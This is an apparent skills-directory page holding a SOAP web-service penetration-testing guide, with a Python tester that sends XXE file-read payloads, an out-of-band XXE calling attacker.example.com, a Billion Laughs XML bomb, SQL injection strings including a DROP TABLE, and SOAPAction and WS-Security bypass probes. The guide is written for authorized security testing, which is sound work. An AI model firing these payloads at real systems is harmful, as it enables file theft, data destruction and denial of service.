[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AG20AS707ZR1ACHWKKQS9W":3,"skill-same:01M6AG20AS707ZR1ACHWKKQS9W":113},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":31,"publishedAt":52,"linkOnly":53,"markdownContent":54,"markdownBody":55,"frontMatter":56,"refName":72,"commitSha":73,"skillDirectory":74,"forksCount":75,"repositoryHtmlUrl":76,"repositoryHomepageUrl":77,"ownerHtmlUrl":78,"ownerBlogUrl":79,"ownerDescription":80,"updatedAt":81,"install":82,"resources":95},"01M6AG20AS707ZR1ACHWKKQS9W","performing-soap-web-service-security-testing",null,"Performs security testing of SOAP web services by analyzing WSDL definitions and testing for XML injection, XXE, WS-Security bypass, SOAPAction spoofing, and XPath injection. Use when assessing a SOAP\u002FWSDL-based API endpoint for XML-related vulnerabilities during a penetration test.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36146,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-soap-web-service-security-testing\u002FSKILL.md",[18,23,26],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":27,"categoryName":28,"taxonomyType":29,"taxonomyTypeDesc":30},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51],"security","performing soap web service security testing","web","testing","soap","xpath-injection","soapaction-spoofing","ws-security","xxe","xml-injection","wsdl","web-services","cybersecurity","api","injection","t1059","endpoint","analyzing","api-security","pr","2026-11-10 10:12:30",false,"---\nname: performing-soap-web-service-security-testing\ndescription: Performs security testing of SOAP web services by analyzing WSDL definitions\n  and testing for XML injection, XXE, WS-Security bypass, SOAPAction spoofing, and\n  XPath injection. Use when assessing a SOAP\u002FWSDL-based API endpoint for XML-related\n  vulnerabilities during a penetration test.\ndomain: cybersecurity\nsubdomain: api-security\ntags:\n- soap\n- web-services\n- wsdl\n- xml-injection\n- xxe\n- ws-security\n- penetration-testing\n- soapaction-spoofing\n- xpath-injection\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1552.001\n- T1055\n- T1059\n---\n\n# Performing SOAP Web Service Security Testing\n\n## Overview\n\nSOAP (Simple Object Access Protocol) web services remain widely deployed in enterprise environments, financial systems, healthcare, and government integrations. Security testing of SOAP services involves analyzing WSDL (Web Services Description Language) definitions to understand available methods, testing for XML-based injection attacks (XXE, XPath injection, XML bombs), evaluating WS-Security implementation correctness, SOAPAction header spoofing, and assessing authentication and authorization controls. Unlike REST APIs, SOAP services use XML envelopes and often implement complex security standards that can be misconfigured.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing soap web service security testing\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Target SOAP web service endpoint URL\n- WSDL file or URL access for the service\n- SoapUI or ReadyAPI for structured testing\n- Burp Suite with SOAP extensions for interception\n- Python 3.8+ with zeep and lxml libraries\n- Authorization to perform security testing\n\n## Testing Methodology\n\n### Phase 1: WSDL Reconnaissance\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"SOAP Web Service Security Testing Tool\n\nAnalyzes WSDL definitions and tests SOAP endpoints for\ncommon vulnerabilities including XXE, injection, and\nWS-Security misconfigurations.\n\"\"\"\n\nimport requests\nimport xml.etree.ElementTree as ET\nfrom lxml import etree\nimport sys\nimport re\nfrom typing import List, Dict, Optional\nfrom dataclasses import dataclass\n\n@dataclass\nclass SOAPOperation:\n    name: str\n    action: str\n    input_message: str\n    output_message: str\n    parameters: List[Dict]\n\nclass SOAPSecurityTester:\n    NAMESPACES = {\n        'wsdl': 'http:\u002F\u002Fschemas.xmlsoap.org\u002Fwsdl\u002F',\n        'soap': 'http:\u002F\u002Fschemas.xmlsoap.org\u002Fwsdl\u002Fsoap\u002F',\n        'soap12': 'http:\u002F\u002Fschemas.xmlsoap.org\u002Fwsdl\u002Fsoap12\u002F',\n        'xsd': 'http:\u002F\u002Fwww.w3.org\u002F2001\u002FXMLSchema',\n        'wsse': 'http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-secext-1.0.xsd',\n    }\n\n    def __init__(self, wsdl_url: str, endpoint_url: Optional[str] = None):\n        self.wsdl_url = wsdl_url\n        self.endpoint_url = endpoint_url\n        self.operations: List[SOAPOperation] = []\n        self.findings: List[dict] = []\n\n    def parse_wsdl(self) -> List[SOAPOperation]:\n        \"\"\"Parse WSDL to extract available operations and parameters.\"\"\"\n        response = requests.get(self.wsdl_url, timeout=30)\n        root = etree.fromstring(response.content)\n\n        # Extract endpoint URL if not provided\n        if not self.endpoint_url:\n            address = root.find('.\u002F\u002Fsoap:address', self.NAMESPACES)\n            if address is not None:\n                self.endpoint_url = address.get('location')\n\n        # Extract operations\n        for binding_op in root.findall('.\u002F\u002Fwsdl:binding\u002Fwsdl:operation', self.NAMESPACES):\n            name = binding_op.get('name')\n            soap_op = binding_op.find('soap:operation', self.NAMESPACES)\n            action = soap_op.get('soapAction', '') if soap_op is not None else ''\n\n            operation = SOAPOperation(\n                name=name,\n                action=action,\n                input_message=\"\",\n                output_message=\"\",\n                parameters=[]\n            )\n            self.operations.append(operation)\n\n        print(f\"[+] Found {len(self.operations)} SOAP operations\")\n        for op in self.operations:\n            print(f\"    - {op.name} (SOAPAction: {op.action})\")\n\n        return self.operations\n\n    def test_xxe_vulnerability(self, operation: SOAPOperation) -> dict:\n        \"\"\"Test for XML External Entity (XXE) injection.\"\"\"\n        xxe_payloads = [\n            # Classic XXE - File read\n            {\n                \"name\": \"Classic XXE (file read)\",\n                \"payload\": '''\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation}>&xxe;\u003C\u002F{operation}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''.format(operation=operation.name)\n            },\n            # Blind XXE - Out-of-band\n            {\n                \"name\": \"Blind XXE (OOB)\",\n                \"payload\": '''\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % xxe SYSTEM \"http:\u002F\u002Fattacker.example.com\u002Fxxe.dtd\">\n  %xxe;\n]>\n\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation}>test\u003C\u002F{operation}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''.format(operation=operation.name)\n            },\n            # XML Bomb (Billion Laughs)\n            {\n                \"name\": \"XML Bomb (Billion Laughs)\",\n                \"payload\": '''\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE lolz [\n  \u003C!ENTITY lol \"lol\">\n  \u003C!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n  \u003C!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n  \u003C!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n]>\n\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation}>&lol4;\u003C\u002F{operation}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''.format(operation=operation.name)\n            }\n        ]\n\n        results = []\n        for xxe in xxe_payloads:\n            try:\n                response = requests.post(\n                    self.endpoint_url,\n                    data=xxe[\"payload\"],\n                    headers={\n                        \"Content-Type\": \"text\u002Fxml; charset=utf-8\",\n                        \"SOAPAction\": operation.action,\n                    },\n                    timeout=10\n                )\n\n                vulnerable = False\n                indicators = []\n\n                if \"root:\" in response.text or \"\u002Fbin\u002F\" in response.text:\n                    vulnerable = True\n                    indicators.append(\"File contents in response\")\n\n                if response.status_code == 200 and \"Fault\" not in response.text:\n                    indicators.append(\"No XML parsing error returned\")\n\n                if response.elapsed.total_seconds() > 5:\n                    indicators.append(\"Slow response (possible XML bomb)\")\n                    vulnerable = True\n\n                result = {\n                    \"test\": xxe[\"name\"],\n                    \"vulnerable\": vulnerable,\n                    \"status_code\": response.status_code,\n                    \"response_time\": response.elapsed.total_seconds(),\n                    \"indicators\": indicators\n                }\n                results.append(result)\n\n                if vulnerable:\n                    self.findings.append({\n                        \"severity\": \"CRITICAL\",\n                        \"type\": \"XXE\",\n                        \"operation\": operation.name,\n                        \"details\": xxe[\"name\"]\n                    })\n\n            except requests.exceptions.Timeout:\n                results.append({\n                    \"test\": xxe[\"name\"],\n                    \"vulnerable\": True,\n                    \"indicators\": [\"Request timed out - possible DoS via XML bomb\"]\n                })\n\n        return {\"operation\": operation.name, \"xxe_results\": results}\n\n    def test_sql_injection(self, operation: SOAPOperation) -> dict:\n        \"\"\"Test SOAP parameters for SQL injection.\"\"\"\n        sqli_payloads = [\n            \"' OR '1'='1\",\n            \"1; DROP TABLE users--\",\n            \"1' UNION SELECT NULL,NULL,NULL--\",\n            \"' OR 1=1; WAITFOR DELAY '0:0:5'--\",\n            \"admin'\u002F*\",\n        ]\n\n        results = []\n        for payload in sqli_payloads:\n            soap_body = f'''\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation.name}>\n      \u003Cparam>{payload}\u003C\u002Fparam>\n    \u003C\u002F{operation.name}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''\n\n            try:\n                response = requests.post(\n                    self.endpoint_url,\n                    data=soap_body,\n                    headers={\n                        \"Content-Type\": \"text\u002Fxml; charset=utf-8\",\n                        \"SOAPAction\": operation.action,\n                    },\n                    timeout=15\n                )\n\n                sql_errors = [\n                    \"SQL syntax\", \"ORA-\", \"mysql_\", \"SQLSTATE\",\n                    \"Microsoft OLE DB\", \"Unclosed quotation mark\",\n                    \"syntax error\", \"PostgreSQL\"\n                ]\n                error_found = any(err in response.text for err in sql_errors)\n\n                if error_found:\n                    self.findings.append({\n                        \"severity\": \"CRITICAL\",\n                        \"type\": \"SQL Injection\",\n                        \"operation\": operation.name,\n                        \"details\": f\"SQL error triggered with: {payload[:30]}...\"\n                    })\n\n                results.append({\n                    \"payload\": payload,\n                    \"status_code\": response.status_code,\n                    \"sql_error_detected\": error_found,\n                    \"response_time\": response.elapsed.total_seconds()\n                })\n\n            except requests.exceptions.RequestException:\n                continue\n\n        return {\"operation\": operation.name, \"sqli_results\": results}\n\n    def test_soapaction_spoofing(self) -> dict:\n        \"\"\"Test for SOAPAction header spoofing vulnerability.\"\"\"\n        results = []\n\n        for i, operation in enumerate(self.operations):\n            for j, other_op in enumerate(self.operations):\n                if i == j:\n                    continue\n\n                # Send request with mismatched SOAPAction\n                soap_body = f'''\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation.name}>\n      \u003Cparam>test\u003C\u002Fparam>\n    \u003C\u002F{operation.name}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''\n\n                try:\n                    response = requests.post(\n                        self.endpoint_url,\n                        data=soap_body,\n                        headers={\n                            \"Content-Type\": \"text\u002Fxml; charset=utf-8\",\n                            \"SOAPAction\": other_op.action,  # Wrong action\n                        },\n                        timeout=10\n                    )\n\n                    if response.status_code == 200 and \"Fault\" not in response.text:\n                        self.findings.append({\n                            \"severity\": \"HIGH\",\n                            \"type\": \"SOAPAction Spoofing\",\n                            \"operation\": operation.name,\n                            \"details\": f\"Accepted with SOAPAction of {other_op.name}\"\n                        })\n                        results.append({\n                            \"body_operation\": operation.name,\n                            \"spoofed_action\": other_op.action,\n                            \"accepted\": True\n                        })\n\n                except requests.exceptions.RequestException:\n                    continue\n\n        return {\"spoofing_results\": results}\n\n    def test_ws_security_bypass(self) -> dict:\n        \"\"\"Test WS-Security token handling.\"\"\"\n        test_cases = [\n            {\n                \"name\": \"Missing WS-Security header\",\n                \"header\": \"\"\n            },\n            {\n                \"name\": \"Empty security token\",\n                \"header\": '''\u003Cwsse:Security xmlns:wsse=\"http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-secext-1.0.xsd\">\n    \u003Cwsse:UsernameToken>\n      \u003Cwsse:Username>\u003C\u002Fwsse:Username>\n      \u003Cwsse:Password>\u003C\u002Fwsse:Password>\n    \u003C\u002Fwsse:UsernameToken>\n  \u003C\u002Fwsse:Security>'''\n            },\n            {\n                \"name\": \"Expired timestamp\",\n                \"header\": '''\u003Cwsse:Security xmlns:wsse=\"http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-secext-1.0.xsd\"\n    xmlns:wsu=\"http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-utility-1.0.xsd\">\n    \u003Cwsu:Timestamp>\n      \u003Cwsu:Created>2020-01-01T00:00:00Z\u003C\u002Fwsu:Created>\n      \u003Cwsu:Expires>2020-01-01T00:05:00Z\u003C\u002Fwsu:Expires>\n    \u003C\u002Fwsu:Timestamp>\n  \u003C\u002Fwsse:Security>'''\n            }\n        ]\n\n        results = []\n        for test in test_cases:\n            if self.operations:\n                operation = self.operations[0]\n                soap_body = f'''\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Header>\n    {test[\"header\"]}\n  \u003C\u002Fsoapenv:Header>\n  \u003Csoapenv:Body>\n    \u003C{operation.name}>\u003Cparam>test\u003C\u002Fparam>\u003C\u002F{operation.name}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''\n\n                try:\n                    response = requests.post(\n                        self.endpoint_url,\n                        data=soap_body,\n                        headers={\"Content-Type\": \"text\u002Fxml; charset=utf-8\"},\n                        timeout=10\n                    )\n\n                    accepted = response.status_code == 200 and \"Fault\" not in response.text\n                    if accepted:\n                        self.findings.append({\n                            \"severity\": \"CRITICAL\",\n                            \"type\": \"WS-Security Bypass\",\n                            \"operation\": operation.name,\n                            \"details\": test[\"name\"]\n                        })\n\n                    results.append({\n                        \"test\": test[\"name\"],\n                        \"accepted\": accepted,\n                        \"status_code\": response.status_code\n                    })\n                except requests.exceptions.RequestException:\n                    continue\n\n        return {\"ws_security_results\": results}\n\n    def generate_report(self) -> dict:\n        \"\"\"Generate comprehensive security assessment report.\"\"\"\n        return {\n            \"target\": self.endpoint_url,\n            \"wsdl\": self.wsdl_url,\n            \"operations_tested\": len(self.operations),\n            \"total_findings\": len(self.findings),\n            \"critical\": len([f for f in self.findings if f[\"severity\"] == \"CRITICAL\"]),\n            \"high\": len([f for f in self.findings if f[\"severity\"] == \"HIGH\"]),\n            \"findings\": self.findings\n        }\n\n\ndef main():\n    wsdl_url = sys.argv[1] if len(sys.argv) > 1 else \"http:\u002F\u002Flocalhost:8080\u002Fws?wsdl\"\n    tester = SOAPSecurityTester(wsdl_url)\n\n    print(f\"[*] Parsing WSDL: {wsdl_url}\")\n    operations = tester.parse_wsdl()\n\n    for op in operations:\n        print(f\"\\n[*] Testing operation: {op.name}\")\n        tester.test_xxe_vulnerability(op)\n        tester.test_sql_injection(op)\n\n    tester.test_soapaction_spoofing()\n    tester.test_ws_security_bypass()\n\n    report = tester.generate_report()\n    print(f\"\\n{'='*60}\")\n    print(f\"SOAP Security Assessment Report\")\n    print(f\"{'='*60}\")\n    print(f\"Target: {report['target']}\")\n    print(f\"Operations Tested: {report['operations_tested']}\")\n    print(f\"Findings: {report['total_findings']} \"\n          f\"(Critical: {report['critical']}, High: {report['high']})\")\n\n    for finding in report['findings']:\n        print(f\"\\n  [{finding['severity']}] {finding['type']}\")\n        print(f\"  Operation: {finding['operation']}\")\n        print(f\"  Details: {finding['details']}\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## References\n\n- SecureLayer7 OWASP SOAP Pentesting: https:\u002F\u002Fblog.securelayer7.net\u002Fowasp-top-10-pentesting-mitigating-soap-service-risks\u002F\n- BrightSec SOAP Vulnerabilities: https:\u002F\u002Fbrightsec.com\u002Fblog\u002Ftop-7-soap-api-vulnerabilities\u002F\n- Levo.ai SOAP API Security Testing Guide: https:\u002F\u002Fwww.levo.ai\u002Fresources\u002Fblogs\u002Fsoap-api-security-testing\n- SoapUI Web Service Hacking: https:\u002F\u002Fwww.soapui.org\u002Fdocs\u002Fsoap-and-wsdl\u002Ftips-and-tricks\u002Fweb-service-hacking\u002F\n- PortSwigger XXE Tutorial: https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fxxe\n","# Performing SOAP Web Service Security Testing\n\n## Overview\n\nSOAP (Simple Object Access Protocol) web services remain widely deployed in enterprise environments, financial systems, healthcare, and government integrations. Security testing of SOAP services involves analyzing WSDL (Web Services Description Language) definitions to understand available methods, testing for XML-based injection attacks (XXE, XPath injection, XML bombs), evaluating WS-Security implementation correctness, SOAPAction header spoofing, and assessing authentication and authorization controls. Unlike REST APIs, SOAP services use XML envelopes and often implement complex security standards that can be misconfigured.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing soap web service security testing\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Target SOAP web service endpoint URL\n- WSDL file or URL access for the service\n- SoapUI or ReadyAPI for structured testing\n- Burp Suite with SOAP extensions for interception\n- Python 3.8+ with zeep and lxml libraries\n- Authorization to perform security testing\n\n## Testing Methodology\n\n### Phase 1: WSDL Reconnaissance\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"SOAP Web Service Security Testing Tool\n\nAnalyzes WSDL definitions and tests SOAP endpoints for\ncommon vulnerabilities including XXE, injection, and\nWS-Security misconfigurations.\n\"\"\"\n\nimport requests\nimport xml.etree.ElementTree as ET\nfrom lxml import etree\nimport sys\nimport re\nfrom typing import List, Dict, Optional\nfrom dataclasses import dataclass\n\n@dataclass\nclass SOAPOperation:\n    name: str\n    action: str\n    input_message: str\n    output_message: str\n    parameters: List[Dict]\n\nclass SOAPSecurityTester:\n    NAMESPACES = {\n        'wsdl': 'http:\u002F\u002Fschemas.xmlsoap.org\u002Fwsdl\u002F',\n        'soap': 'http:\u002F\u002Fschemas.xmlsoap.org\u002Fwsdl\u002Fsoap\u002F',\n        'soap12': 'http:\u002F\u002Fschemas.xmlsoap.org\u002Fwsdl\u002Fsoap12\u002F',\n        'xsd': 'http:\u002F\u002Fwww.w3.org\u002F2001\u002FXMLSchema',\n        'wsse': 'http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-secext-1.0.xsd',\n    }\n\n    def __init__(self, wsdl_url: str, endpoint_url: Optional[str] = None):\n        self.wsdl_url = wsdl_url\n        self.endpoint_url = endpoint_url\n        self.operations: List[SOAPOperation] = []\n        self.findings: List[dict] = []\n\n    def parse_wsdl(self) -> List[SOAPOperation]:\n        \"\"\"Parse WSDL to extract available operations and parameters.\"\"\"\n        response = requests.get(self.wsdl_url, timeout=30)\n        root = etree.fromstring(response.content)\n\n        # Extract endpoint URL if not provided\n        if not self.endpoint_url:\n            address = root.find('.\u002F\u002Fsoap:address', self.NAMESPACES)\n            if address is not None:\n                self.endpoint_url = address.get('location')\n\n        # Extract operations\n        for binding_op in root.findall('.\u002F\u002Fwsdl:binding\u002Fwsdl:operation', self.NAMESPACES):\n            name = binding_op.get('name')\n            soap_op = binding_op.find('soap:operation', self.NAMESPACES)\n            action = soap_op.get('soapAction', '') if soap_op is not None else ''\n\n            operation = SOAPOperation(\n                name=name,\n                action=action,\n                input_message=\"\",\n                output_message=\"\",\n                parameters=[]\n            )\n            self.operations.append(operation)\n\n        print(f\"[+] Found {len(self.operations)} SOAP operations\")\n        for op in self.operations:\n            print(f\"    - {op.name} (SOAPAction: {op.action})\")\n\n        return self.operations\n\n    def test_xxe_vulnerability(self, operation: SOAPOperation) -> dict:\n        \"\"\"Test for XML External Entity (XXE) injection.\"\"\"\n        xxe_payloads = [\n            # Classic XXE - File read\n            {\n                \"name\": \"Classic XXE (file read)\",\n                \"payload\": '''\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation}>&xxe;\u003C\u002F{operation}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''.format(operation=operation.name)\n            },\n            # Blind XXE - Out-of-band\n            {\n                \"name\": \"Blind XXE (OOB)\",\n                \"payload\": '''\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % xxe SYSTEM \"http:\u002F\u002Fattacker.example.com\u002Fxxe.dtd\">\n  %xxe;\n]>\n\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation}>test\u003C\u002F{operation}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''.format(operation=operation.name)\n            },\n            # XML Bomb (Billion Laughs)\n            {\n                \"name\": \"XML Bomb (Billion Laughs)\",\n                \"payload\": '''\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE lolz [\n  \u003C!ENTITY lol \"lol\">\n  \u003C!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n  \u003C!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n  \u003C!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n]>\n\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation}>&lol4;\u003C\u002F{operation}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''.format(operation=operation.name)\n            }\n        ]\n\n        results = []\n        for xxe in xxe_payloads:\n            try:\n                response = requests.post(\n                    self.endpoint_url,\n                    data=xxe[\"payload\"],\n                    headers={\n                        \"Content-Type\": \"text\u002Fxml; charset=utf-8\",\n                        \"SOAPAction\": operation.action,\n                    },\n                    timeout=10\n                )\n\n                vulnerable = False\n                indicators = []\n\n                if \"root:\" in response.text or \"\u002Fbin\u002F\" in response.text:\n                    vulnerable = True\n                    indicators.append(\"File contents in response\")\n\n                if response.status_code == 200 and \"Fault\" not in response.text:\n                    indicators.append(\"No XML parsing error returned\")\n\n                if response.elapsed.total_seconds() > 5:\n                    indicators.append(\"Slow response (possible XML bomb)\")\n                    vulnerable = True\n\n                result = {\n                    \"test\": xxe[\"name\"],\n                    \"vulnerable\": vulnerable,\n                    \"status_code\": response.status_code,\n                    \"response_time\": response.elapsed.total_seconds(),\n                    \"indicators\": indicators\n                }\n                results.append(result)\n\n                if vulnerable:\n                    self.findings.append({\n                        \"severity\": \"CRITICAL\",\n                        \"type\": \"XXE\",\n                        \"operation\": operation.name,\n                        \"details\": xxe[\"name\"]\n                    })\n\n            except requests.exceptions.Timeout:\n                results.append({\n                    \"test\": xxe[\"name\"],\n                    \"vulnerable\": True,\n                    \"indicators\": [\"Request timed out - possible DoS via XML bomb\"]\n                })\n\n        return {\"operation\": operation.name, \"xxe_results\": results}\n\n    def test_sql_injection(self, operation: SOAPOperation) -> dict:\n        \"\"\"Test SOAP parameters for SQL injection.\"\"\"\n        sqli_payloads = [\n            \"' OR '1'='1\",\n            \"1; DROP TABLE users--\",\n            \"1' UNION SELECT NULL,NULL,NULL--\",\n            \"' OR 1=1; WAITFOR DELAY '0:0:5'--\",\n            \"admin'\u002F*\",\n        ]\n\n        results = []\n        for payload in sqli_payloads:\n            soap_body = f'''\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation.name}>\n      \u003Cparam>{payload}\u003C\u002Fparam>\n    \u003C\u002F{operation.name}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''\n\n            try:\n                response = requests.post(\n                    self.endpoint_url,\n                    data=soap_body,\n                    headers={\n                        \"Content-Type\": \"text\u002Fxml; charset=utf-8\",\n                        \"SOAPAction\": operation.action,\n                    },\n                    timeout=15\n                )\n\n                sql_errors = [\n                    \"SQL syntax\", \"ORA-\", \"mysql_\", \"SQLSTATE\",\n                    \"Microsoft OLE DB\", \"Unclosed quotation mark\",\n                    \"syntax error\", \"PostgreSQL\"\n                ]\n                error_found = any(err in response.text for err in sql_errors)\n\n                if error_found:\n                    self.findings.append({\n                        \"severity\": \"CRITICAL\",\n                        \"type\": \"SQL Injection\",\n                        \"operation\": operation.name,\n                        \"details\": f\"SQL error triggered with: {payload[:30]}...\"\n                    })\n\n                results.append({\n                    \"payload\": payload,\n                    \"status_code\": response.status_code,\n                    \"sql_error_detected\": error_found,\n                    \"response_time\": response.elapsed.total_seconds()\n                })\n\n            except requests.exceptions.RequestException:\n                continue\n\n        return {\"operation\": operation.name, \"sqli_results\": results}\n\n    def test_soapaction_spoofing(self) -> dict:\n        \"\"\"Test for SOAPAction header spoofing vulnerability.\"\"\"\n        results = []\n\n        for i, operation in enumerate(self.operations):\n            for j, other_op in enumerate(self.operations):\n                if i == j:\n                    continue\n\n                # Send request with mismatched SOAPAction\n                soap_body = f'''\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation.name}>\n      \u003Cparam>test\u003C\u002Fparam>\n    \u003C\u002F{operation.name}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''\n\n                try:\n                    response = requests.post(\n                        self.endpoint_url,\n                        data=soap_body,\n                        headers={\n                            \"Content-Type\": \"text\u002Fxml; charset=utf-8\",\n                            \"SOAPAction\": other_op.action,  # Wrong action\n                        },\n                        timeout=10\n                    )\n\n                    if response.status_code == 200 and \"Fault\" not in response.text:\n                        self.findings.append({\n                            \"severity\": \"HIGH\",\n                            \"type\": \"SOAPAction Spoofing\",\n                            \"operation\": operation.name,\n                            \"details\": f\"Accepted with SOAPAction of {other_op.name}\"\n                        })\n                        results.append({\n                            \"body_operation\": operation.name,\n                            \"spoofed_action\": other_op.action,\n                            \"accepted\": True\n                        })\n\n                except requests.exceptions.RequestException:\n                    continue\n\n        return {\"spoofing_results\": results}\n\n    def test_ws_security_bypass(self) -> dict:\n        \"\"\"Test WS-Security token handling.\"\"\"\n        test_cases = [\n            {\n                \"name\": \"Missing WS-Security header\",\n                \"header\": \"\"\n            },\n            {\n                \"name\": \"Empty security token\",\n                \"header\": '''\u003Cwsse:Security xmlns:wsse=\"http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-secext-1.0.xsd\">\n    \u003Cwsse:UsernameToken>\n      \u003Cwsse:Username>\u003C\u002Fwsse:Username>\n      \u003Cwsse:Password>\u003C\u002Fwsse:Password>\n    \u003C\u002Fwsse:UsernameToken>\n  \u003C\u002Fwsse:Security>'''\n            },\n            {\n                \"name\": \"Expired timestamp\",\n                \"header\": '''\u003Cwsse:Security 